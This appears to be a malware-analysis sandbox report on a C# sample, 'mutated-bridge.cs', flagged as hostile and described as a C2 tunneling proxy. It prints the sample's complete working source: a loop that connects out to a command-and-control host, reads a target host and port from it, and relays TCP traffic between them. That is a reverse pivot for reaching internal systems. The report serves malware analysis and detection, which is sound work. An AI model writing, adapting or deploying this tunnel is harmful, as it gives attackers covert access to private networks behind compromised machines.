Hostile 100% Download

mutated-bridge.cs

C2 tunneling proxy

.NET control stream reads host:port target and bridges TCP streamsC# reverse TCP pivot relays control-selected targets
SHA-256a881d2289c956af4eb6905a23cf78a8507cc239f2f1f5b3ee4b8e7dbe6bbd320

Evidence

Connects TcpClient to parsed host and port lines 1–28
1using System;
2using System.IO;
3using System.Net.Sockets;
4using System.Text;
5using System.Threading.Tasks;
6
7public class TunnelWorker
8{
9 public static async Task LoopAsync(string c2Host, int c2Port)
10 {
11 for (;;)
12 {
13 using var control = new TcpClient();
14 await control.ConnectAsync(c2Host, c2Port);
15 var downStream = control.GetStream();
16
17 using var lineReader = new StreamReader(downStream, Encoding.UTF8, false, 256, true);
18 string destLine = await lineReader.ReadLineAsync();
19 string[] addr = destLine.Split(":");
20
21 using var targetClient = new TcpClient();
22 await targetClient.ConnectAsync(addr[0], Convert.ToInt32(addr[1]));
23 var upStream = targetClient.GetStream();
24
25 await Task.WhenAny(downStream.CopyToAsync(upStream), upStream.CopyToAsync(downStream));
26 }
27 }
28}

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.